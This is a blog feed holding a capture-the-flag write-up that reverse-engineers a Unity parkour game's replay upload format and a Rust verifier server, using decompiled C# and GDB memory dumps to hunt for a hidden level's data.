<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://lucapalumbo.xyz/feed.xml" rel="self" type="application/atom+xml" /><link href="http://lucapalumbo.xyz/" rel="alternate" type="text/html" /><updated>2026-02-14T16:50:30+00:00</updated><id>http://lucapalumbo.xyz/feed.xml</id><title type="html">Luca Palumbo</title><subtitle>An amazing website.</subtitle><author><name>Luca Palumbo</name></author><entry><title type="html">A_REAL_CTF, lakeCTF 2025 Quals</title><link href="http://lucapalumbo.xyz/writeup/a_real_ctf-lakeCTF/" rel="alternate" type="text/html" title="A_REAL_CTF, lakeCTF 2025 Quals" /><published>2025-11-30T12:00:00+00:00</published><updated>2025-11-30T12:00:00+00:00</updated><id>http://lucapalumbo.xyz/writeup/a_real_ctf-lakeCTF</id><content type="html" xml:base="http://lucapalumbo.xyz/writeup/a_real_ctf-lakeCTF/"><![CDATA[<h1 id="challenge-overview">Challenge Overview</h1>

<p><strong>Challenge Name:</strong> A_REAL_CTF<br />
<strong>CTF:</strong> Lake CTF 2025<br />
<strong>Category:</strong> Unity / Rust</p>

<p>The challenge provided:</p>
<ul>
  <li>a zip file containing a Unity game</li>
  <li>an ELF file name <code class="language-plaintext highlighter-rouge">verifier</code> written in Rust</li>
</ul>

<h1 id="the-game">The game</h1>

<p>The <code class="language-plaintext highlighter-rouge">A_REAL_CTF</code> game consisted in a simple parkour game, where you are supposed to jump from block to block to reach a flag (an actual one), and then come back, to reach a blue block.</p>

<p><img src="/assets/images/2025-11-30-a_real_ctf-lakeCTF/game_1.PNG" alt="App Interface" />
<img src="/assets/images/2025-11-30-a_real_ctf-lakeCTF/game_2.PNG" alt="App Interface" /></p>

<p>Onece you reach the blue block, you can save a binary file and then a new text box appears in the game saying “Response from the server: Simulation successful but no flag for you” (or sometimes “Simulation failed”).</p>

<p>So, basically the <code class="language-plaintext highlighter-rouge">verifier</code> ELF is the server of the game, and the game itself uploads a file to the server letting you save it. If the file uploaded is “correct” in some sense, the server will give us the flag.</p>

<h1 id="reversing-the-communication-protocol">Reversing the communication protocol</h1>
<p>First of all, we need to understand how the game communicates with the server. The first thing I did was to sniff traffic via Wireshark, but unfortunately the traffic was encrypted via TLS.</p>

<p>So, I decided to decompile the Unity game. Uploaded the <code class="language-plaintext highlighter-rouge">Assembly-CSharp.dll</code> file to <a href="https://dnspy.org/">dnSpy</a> and started to explore the code.</p>

<p>It wasn’t hard to find this code:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Threading.Tasks</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">UnityEngine.Networking</span><span class="p">;</span>

<span class="c1">// Token: 0x02000012 RID: 18</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">PostRequest</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x06000042 RID: 66 RVA: 0x0000315C File Offset: 0x0000135C</span>
	<span class="k">public</span> <span class="k">static</span> <span class="k">async</span> <span class="n">Task</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;</span> <span class="nf">SendAsync</span><span class="p">(</span><span class="kt">string</span> <span class="n">url</span><span class="p">,</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bodyRaw</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="kt">string</span> <span class="n">text</span><span class="p">;</span>
		<span class="k">using</span> <span class="p">(</span><span class="n">UnityWebRequest</span> <span class="n">request</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">UnityWebRequest</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="s">"POST"</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">request</span><span class="p">.</span><span class="n">uploadHandler</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">UploadHandlerRaw</span><span class="p">(</span><span class="n">bodyRaw</span><span class="p">);</span>
			<span class="n">request</span><span class="p">.</span><span class="n">downloadHandler</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">DownloadHandlerBuffer</span><span class="p">();</span>
			<span class="n">UnityWebRequestAsyncOperation</span> <span class="n">operation</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="nf">SendWebRequest</span><span class="p">();</span>
			<span class="k">while</span> <span class="p">(!</span><span class="n">operation</span><span class="p">.</span><span class="n">isDone</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="k">await</span> <span class="n">Task</span><span class="p">.</span><span class="nf">Yield</span><span class="p">();</span>
			<span class="p">}</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">result</span> <span class="p">==</span> <span class="n">UnityWebRequest</span><span class="p">.</span><span class="n">Result</span><span class="p">.</span><span class="n">ConnectionError</span> <span class="p">||</span> <span class="n">request</span><span class="p">.</span><span class="n">result</span> <span class="p">==</span> <span class="n">UnityWebRequest</span><span class="p">.</span><span class="n">Result</span><span class="p">.</span><span class="n">ProtocolError</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">error</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="n">text</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">downloadHandler</span><span class="p">.</span><span class="n">text</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="n">text</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nothing fancy, just a simple POST request sending a byte array. So the server will probably be just a http server receiving a POST request with a binary body.</p>

<h1 id="replay-file">Replay file</h1>
<p>Now that we know how client and server communicate, we need to understand what kind of file the client is sending to the server.
To do so, I kept investingating the Unity code with dnSpy, and found these classes:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>

<span class="c1">// Token: 0x0200000C RID: 12</span>
<span class="k">public</span> <span class="k">struct</span> <span class="nc">Replay</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x04000027 RID: 39</span>
	<span class="k">public</span> <span class="k">const</span> <span class="kt">ulong</span> <span class="n">MAGIC</span> <span class="p">=</span> <span class="m">72848253210177U</span><span class="n">L</span><span class="p">;</span>

	<span class="c1">// Token: 0x04000028 RID: 40</span>
	<span class="k">public</span> <span class="k">const</span> <span class="kt">ushort</span> <span class="n">VERSION</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span>

	<span class="c1">// Token: 0x04000029 RID: 41</span>
	<span class="k">public</span> <span class="kt">ushort</span> <span class="n">levelId</span><span class="p">;</span>

	<span class="c1">// Token: 0x0400002A RID: 42</span>
	<span class="k">public</span> <span class="n">List</span><span class="p">&lt;</span><span class="n">FrameRecord</span><span class="p">&gt;</span> <span class="n">frames</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">SFB</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">UnityEngine</span><span class="p">;</span>

<span class="c1">// Token: 0x02000011 RID: 17</span>
<span class="k">internal</span> <span class="k">class</span> <span class="nc">ReplayWriter</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x06000039 RID: 57 RVA: 0x00002ED8 File Offset: 0x000010D8</span>
	<span class="k">private</span> <span class="nf">ReplayWriter</span><span class="p">(</span><span class="n">Replay</span> <span class="n">replay</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">this</span><span class="p">.</span><span class="n">replay</span> <span class="p">=</span> <span class="n">replay</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003A RID: 58 RVA: 0x00002EE8 File Offset: 0x000010E8</span>
	<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">SaveReplay</span><span class="p">(</span><span class="n">Replay</span> <span class="n">replay</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">Singleton</span><span class="p">&lt;</span><span class="n">CursorController</span><span class="p">&gt;.</span><span class="n">Instance</span><span class="p">.</span><span class="nf">UnlockCursor</span><span class="p">();</span>
		<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">StandaloneFileBrowser</span><span class="p">.</span><span class="nf">SaveFilePanel</span><span class="p">(</span><span class="s">"Save Binary File"</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">"data"</span><span class="p">,</span> <span class="s">"bin"</span><span class="p">);</span>
		<span class="n">Singleton</span><span class="p">&lt;</span><span class="n">CursorController</span><span class="p">&gt;.</span><span class="n">Instance</span><span class="p">.</span><span class="nf">LockCursor</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">text</span><span class="p">.</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span> <span class="p">||</span> <span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">text</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">File</span><span class="p">.</span><span class="nf">WriteAllBytes</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">ReplayWriter</span><span class="p">.</span><span class="nf">replayToBytes</span><span class="p">(</span><span class="n">replay</span><span class="p">));</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003B RID: 59 RVA: 0x00002F40 File Offset: 0x00001140</span>
	<span class="k">public</span> <span class="k">static</span> <span class="k">async</span> <span class="k">void</span> <span class="nf">SendReplay</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">bodyRaw</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">ReplayWriter</span><span class="p">.</span><span class="n">serverURL</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">Application</span><span class="p">.</span><span class="n">dataPath</span><span class="p">,</span> <span class="s">"../server.txt"</span><span class="p">);</span>
			<span class="k">if</span> <span class="p">(!</span><span class="n">File</span><span class="p">.</span><span class="nf">Exists</span><span class="p">(</span><span class="n">text</span><span class="p">))</span>
			<span class="p">{</span>
				<span class="n">Singleton</span><span class="p">&lt;</span><span class="n">HUD</span><span class="p">&gt;.</span><span class="n">Instance</span><span class="p">.</span><span class="nf">SendNotification</span><span class="p">(</span><span class="s">"server.txt file not found at "</span> <span class="p">+</span> <span class="n">text</span><span class="p">);</span>
				<span class="k">return</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="n">ReplayWriter</span><span class="p">.</span><span class="n">serverURL</span> <span class="p">=</span> <span class="n">File</span><span class="p">.</span><span class="nf">ReadAllText</span><span class="p">(</span><span class="n">text</span><span class="p">).</span><span class="nf">Trim</span><span class="p">();</span>
		<span class="p">}</span>
		<span class="n">Singleton</span><span class="p">&lt;</span><span class="n">HUD</span><span class="p">&gt;.</span><span class="n">Instance</span><span class="p">.</span><span class="nf">SendNotification</span><span class="p">(</span><span class="s">"Uploading replay..."</span><span class="p">);</span>
		<span class="k">try</span>
		<span class="p">{</span>
			<span class="kt">string</span> <span class="n">text2</span> <span class="p">=</span> <span class="k">await</span> <span class="n">PostRequest</span><span class="p">.</span><span class="nf">SendAsync</span><span class="p">(</span><span class="n">ReplayWriter</span><span class="p">.</span><span class="n">serverURL</span><span class="p">,</span> <span class="n">bodyRaw</span><span class="p">);</span>
			<span class="n">Singleton</span><span class="p">&lt;</span><span class="n">HUD</span><span class="p">&gt;.</span><span class="n">Instance</span><span class="p">.</span><span class="nf">SendNotification</span><span class="p">(</span><span class="s">"Response from server: \n"</span> <span class="p">+</span> <span class="n">text2</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">Debug</span><span class="p">.</span><span class="nf">LogError</span><span class="p">(</span><span class="s">"Error: "</span> <span class="p">+</span> <span class="n">ex</span><span class="p">.</span><span class="n">Message</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003C RID: 60 RVA: 0x00002F77 File Offset: 0x00001177</span>
	<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">UploadReplay</span><span class="p">(</span><span class="n">Replay</span> <span class="n">replay</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">ReplayWriter</span><span class="p">.</span><span class="nf">SendReplay</span><span class="p">(</span><span class="n">ReplayWriter</span><span class="p">.</span><span class="nf">replayToBytes</span><span class="p">(</span><span class="n">replay</span><span class="p">));</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003D RID: 61 RVA: 0x00002F84 File Offset: 0x00001184</span>
	<span class="k">private</span> <span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="nf">replayToBytes</span><span class="p">(</span><span class="n">Replay</span> <span class="n">replay</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">ReplayWriter</span> <span class="n">replayWriter</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ReplayWriter</span><span class="p">(</span><span class="n">replay</span><span class="p">);</span>
		<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span><span class="p">;</span>
		<span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">memoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">())</span>
		<span class="p">{</span>
			<span class="k">using</span> <span class="p">(</span><span class="n">BinaryWriter</span> <span class="n">binaryWriter</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryWriter</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">))</span>
			<span class="p">{</span>
				<span class="n">replayWriter</span><span class="p">.</span><span class="nf">writeHeader</span><span class="p">(</span><span class="n">binaryWriter</span><span class="p">);</span>
				<span class="n">replayWriter</span><span class="p">.</span><span class="nf">writeFrames</span><span class="p">(</span><span class="n">binaryWriter</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="n">array</span> <span class="p">=</span> <span class="n">memoryStream</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">();</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="n">array</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003E RID: 62 RVA: 0x00002FF0 File Offset: 0x000011F0</span>
	<span class="k">private</span> <span class="k">void</span> <span class="nf">writeHeader</span><span class="p">(</span><span class="n">BinaryWriter</span> <span class="n">writer</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">replay</span><span class="p">.</span><span class="n">frames</span><span class="p">.</span><span class="n">Count</span> <span class="p">&gt;</span> <span class="m">65535</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="p">(</span><span class="s">"Too many frames in replay to save!"</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="m">72848253210177U</span><span class="n">L</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="m">1</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">replay</span><span class="p">.</span><span class="n">levelId</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">((</span><span class="kt">ushort</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="n">replay</span><span class="p">.</span><span class="n">frames</span><span class="p">.</span><span class="n">Count</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x0600003F RID: 63 RVA: 0x00003060 File Offset: 0x00001260</span>
	<span class="k">private</span> <span class="k">void</span> <span class="nf">writeFrames</span><span class="p">(</span><span class="n">BinaryWriter</span> <span class="n">writer</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">foreach</span> <span class="p">(</span><span class="n">FrameRecord</span> <span class="n">frameRecord</span> <span class="k">in</span> <span class="k">this</span><span class="p">.</span><span class="n">replay</span><span class="p">.</span><span class="n">frames</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">this</span><span class="p">.</span><span class="nf">writeFrame</span><span class="p">(</span><span class="n">writer</span><span class="p">,</span> <span class="n">frameRecord</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x06000040 RID: 64 RVA: 0x000030BC File Offset: 0x000012BC</span>
	<span class="k">private</span> <span class="k">void</span> <span class="nf">writeFrame</span><span class="p">(</span><span class="n">BinaryWriter</span> <span class="n">writer</span><span class="p">,</span> <span class="n">FrameRecord</span> <span class="n">frame</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">this</span><span class="p">.</span><span class="nf">writePlayer</span><span class="p">(</span><span class="n">writer</span><span class="p">,</span> <span class="n">frame</span><span class="p">.</span><span class="n">playerRecord</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x06000041 RID: 65 RVA: 0x000030CC File Offset: 0x000012CC</span>
	<span class="k">private</span> <span class="k">void</span> <span class="nf">writePlayer</span><span class="p">(</span><span class="n">BinaryWriter</span> <span class="n">writer</span><span class="p">,</span> <span class="n">PlayerRecord</span> <span class="n">player</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">x</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">z</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">rotation</span><span class="p">.</span><span class="n">x</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">rotation</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">rotation</span><span class="p">.</span><span class="n">z</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">player</span><span class="p">.</span><span class="n">rotation</span><span class="p">.</span><span class="n">w</span><span class="p">);</span>
		<span class="n">writer</span><span class="p">.</span><span class="nf">Write</span><span class="p">((</span><span class="kt">byte</span><span class="p">)</span><span class="n">player</span><span class="p">.</span><span class="n">playerActions</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="c1">// Token: 0x04000033 RID: 51</span>
	<span class="k">private</span> <span class="n">Replay</span> <span class="n">replay</span><span class="p">;</span>

	<span class="c1">// Token: 0x04000034 RID: 52</span>
	<span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">serverURL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So, the file sent is a binary file containing the information for a <code class="language-plaintext highlighter-rouge">Replay</code> of the game. The <code class="language-plaintext highlighter-rouge">Replay</code> struct contains:</p>
<ul>
  <li>a magic number</li>
  <li>a version number</li>
  <li>a level ID</li>
  <li>a list of <code class="language-plaintext highlighter-rouge">FrameRecord</code> structs</li>
</ul>

<p>Each <code class="language-plaintext highlighter-rouge">FrameRecord</code> contains a <code class="language-plaintext highlighter-rouge">PlayerRecord</code>, which contains:</p>
<ul>
  <li>position (x, y, z)</li>
  <li>rotation (x, y, z, w)</li>
  <li>player actions (as a byte)</li>
</ul>

<h1 id="the-verifier">The verifier</h1>
<p>Now its time to analyze the <code class="language-plaintext highlighter-rouge">verifier</code> ELF file. I opened up IDA Free and searched for the string “flag”.
After a bit of reversing, I found out a function that calls a method <code class="language-plaintext highlighter-rouge">verifier::replay::read_replay</code> and shortly after <code class="language-plaintext highlighter-rouge">verfier::simulator::Simulation::run</code>.<br />
This function is the main function of the verifier, as it reads the replay file and then simulates it using the game physics (collisions, gravity, …) and checks if the game is won (flag and blue block reached). This prevents users from sending arbitrary replay files or using cheats to fly/teleport etc.</p>

<p>If this last function calls returns false, then the program send to the game “Simulation failed”, otherwise it prints “Simulation successful but no flag for you” if the lever ID is not 1 or it sends the flag if the simulation is correct and the level ID is 1.</p>

<p>Easy right? I just need to  win level 1 and the game will send me the flag! Problem is, inside the game there is no level 1, only level 0.</p>

<h1 id="searching-for-level-1">Searching for level 1</h1>
<p>There was no trace about level 1 inside the Unity game files. The only possibility was that level 1 was hidden somewhere inside the verifier, after all that code is able to implement simulate collisions and check if the flag and blue block are reached, so the level data must be somewhere.</p>

<p>After a bit of reversing, I found a function <code class="language-plaintext highlighter-rouge">verifier::game_config::read_level</code> that hopefully reads the level data. The function get called with 2 parameters, the first one passed by reference. So, I guessed, the first parameter is a struct where the level data is stored.
This function is called 2 times, once for level 0 and once for level 1.</p>

<p>I tried to reverse this function to be able to reconstruct this struct, but it was too complicated. So, I decided to use a different approach: by using GBD, I set a breakpoint at the beginning of the function, saved the address stored in <code class="language-plaintext highlighter-rouge">rdi</code> then dumped the memory at that address when the fucntion returned.</p>

<p>This is the content of the memory dumped for level 0:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">128</span><span class="n">wx</span> <span class="mh">0x7fffffffcef0</span> 
<span class="mh">0x7fffffffcef0</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x7fffffffcf00</span><span class="o">:</span>	<span class="mh">0x41caf3b6</span>	<span class="mh">0x40b6e148</span>	<span class="mh">0x00000000</span>	<span class="mh">0x40000000</span>
<span class="mh">0x7fffffffcf10</span><span class="o">:</span>	<span class="mh">0x40000000</span>	<span class="mh">0x40000000</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span>
<span class="mh">0x7fffffffcf20</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x7fffffffcf30</span><span class="o">:</span>	<span class="mh">0xbfc147ae</span>	<span class="mh">0x40d23d71</span>	<span class="mh">0x40d9a9fc</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x7fffffffcf40</span><span class="o">:</span>	<span class="mh">0x40800000</span>	<span class="mh">0x3f800000</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span>
<span class="mh">0x7fffffffcf50</span><span class="o">:</span>	<span class="mh">0x00000006</span>	<span class="mh">0x00000000</span>	<span class="mh">0x556c2230</span>	<span class="mh">0x00005555</span>
<span class="mh">0x7fffffffcf60</span><span class="o">:</span>	<span class="mh">0x00000006</span>	<span class="mh">0x00000000</span>	<span class="mh">0xf7ca0000</span>	<span class="mh">0x00007fff</span>
<span class="mh">0x7fffffffcf70</span><span class="o">:</span>	<span class="mh">0xc11cf5c3</span>	<span class="mh">0x40000000</span>	<span class="mh">0x3f400003</span>	<span class="mh">0x40000000</span>
<span class="p">[...]</span>
</code></pre></div></div>

<p>But how to intepret this data? 
Going back to IDA, I found out that these data should contains coordinates of spawn points and the coordinates of the flag. Then a pointer is stored, pointing to another area in memory, that contains the coordinates and dimensions of the blocks composing the level.</p>

<p>But how do I know what represents what in these data? I decided to use <a href="https://github.com/sinai-dev/UnityExplorer">UnityExplorer</a> to dump the coordinates of the blocks in level 0, and then match them with the data dumped from the verifier.</p>

<p><img src="/assets/images/2025-11-30-a_real_ctf-lakeCTF/game_4.PNG" alt="App Interface" /></p>

<p>By this comparison, I was able to recover the position of relevant information inside the dumped data.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">128</span><span class="n">wx</span> <span class="mh">0x7fffffffcef0</span> 
<span class="mh">0x7fffffffcef0</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x7fffffffcf00</span><span class="o">:</span>	<span class="mh">0x41caf3b6</span>	<span class="mh">0x40b6e148</span>	<span class="mh">0x00000000</span>	<span class="mh">0x40000000</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">of</span> <span class="n">the</span> <span class="n">spawn</span> <span class="n">point</span><span class="o">/</span><span class="n">blue</span> <span class="n">block</span>
<span class="mh">0x7fffffffcf10</span><span class="o">:</span>	<span class="mh">0x40000000</span>	<span class="mh">0x40000000</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span>
<span class="mh">0x7fffffffcf20</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x7fffffffcf30</span><span class="o">:</span>	<span class="mh">0xbfc147ae</span>	<span class="mh">0x40d23d71</span>	<span class="mh">0x40d9a9fc</span>	<span class="mh">0x3f800000</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">of</span> <span class="n">the</span> <span class="n">flag</span>
<span class="mh">0x7fffffffcf40</span><span class="o">:</span>	<span class="mh">0x40800000</span>	<span class="mh">0x3f800000</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span>
<span class="mh">0x7fffffffcf50</span><span class="o">:</span>	<span class="mh">0x00000006</span>	<span class="mh">0x00000000</span>	<span class="mh">0x556c2230</span>	<span class="mh">0x00005555</span> <span class="err">#</span> <span class="mh">0x5555556c2230</span> <span class="n">is</span> <span class="n">a</span> <span class="n">pointer</span> <span class="n">to</span> <span class="n">the</span> <span class="n">blocks</span> <span class="n">data</span>
<span class="mh">0x7fffffffcf60</span><span class="o">:</span>	<span class="mh">0x00000006</span>	<span class="mh">0x00000000</span>	<span class="mh">0xf7ca0000</span>	<span class="mh">0x00007fff</span>
<span class="mh">0x7fffffffcf70</span><span class="o">:</span>	<span class="mh">0xc11cf5c3</span>	<span class="mh">0x40000000</span>	<span class="mh">0x3f400003</span>	<span class="mh">0x40000000</span>
<span class="p">[...]</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">80</span><span class="n">wx</span> <span class="mh">0x5555556c2230</span>
<span class="mh">0x5555556c2230</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c2240</span><span class="o">:</span>	<span class="mh">0x41c23d71</span>	<span class="mh">0x3fdd70a4</span>	<span class="mh">0x4063d70a</span>	<span class="mh">0x40a33333</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">1</span>
<span class="mh">0x5555556c2250</span><span class="o">:</span>	<span class="mh">0x40b92aae</span>	<span class="mh">0x415a75a3</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">1</span>
<span class="mh">0x5555556c2260</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c2270</span><span class="o">:</span>	<span class="mh">0xc0166666</span>	<span class="mh">0x3fdd70a4</span>	<span class="mh">0x4063d70a</span>	<span class="mh">0x40a33333</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">2</span>
<span class="mh">0x5555556c2280</span><span class="o">:</span>	<span class="mh">0x40b92aae</span>	<span class="mh">0x415a75a3</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">2</span>
